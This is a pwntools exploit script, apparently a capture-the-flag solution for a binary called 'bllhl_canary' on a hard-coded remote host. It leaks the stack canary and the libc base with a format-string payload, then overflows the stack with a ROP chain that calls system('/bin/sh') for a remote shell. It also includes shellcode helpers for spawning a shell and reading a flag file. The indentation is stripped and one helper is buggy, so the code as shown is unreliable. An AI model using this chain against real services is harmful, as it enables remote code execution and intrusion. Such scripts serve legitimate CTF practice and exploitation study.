#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time
#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])
#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./bllhl_canary'
libc_file='./bllhl_canary.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)
flag=0
if flag:
io=process(pwn_file)
else:
ip='1.95.36.136'
port=2092
io=remote(ip,port)
#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl=lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data: u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32=lambda data: int(io.recv(data), 16)
i64=lambda data: int(io.recv(data), 16)
i6 =lambda data: int(data, 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))
p0=b'%38$p.%39$p.%41$p.%49$p.kkkk'
s(p0)
ru("[echo] ")
a,b,c,libcbase,d=ru(b'k'*4).decode().split('.')
a=i6(a)
b=i6(b)
c=i6(c)
libcbase=i6(libcbase)-0x29d90
leak('a',a)
leak('b',b)
leak('c',c)
leak('libcbase',libcbase)
system = libcbase+libc.sym['system']
binsh = libcbase+next(libc.search(b'/bin/sh'))
rdi = libcbase+rop.find_gadget(['pop rdi', 'ret'])[0]
ret = libcbase+rop.find_gadget(['ret'])[0]
p1 = b'b'*0x60+flat(a,b,0,c)+0x18*b'b'+flat(ret,rdi,binsh,system)
sl(p1)
#连接
#--------------------------------------------------------------------------------
ioi()
|
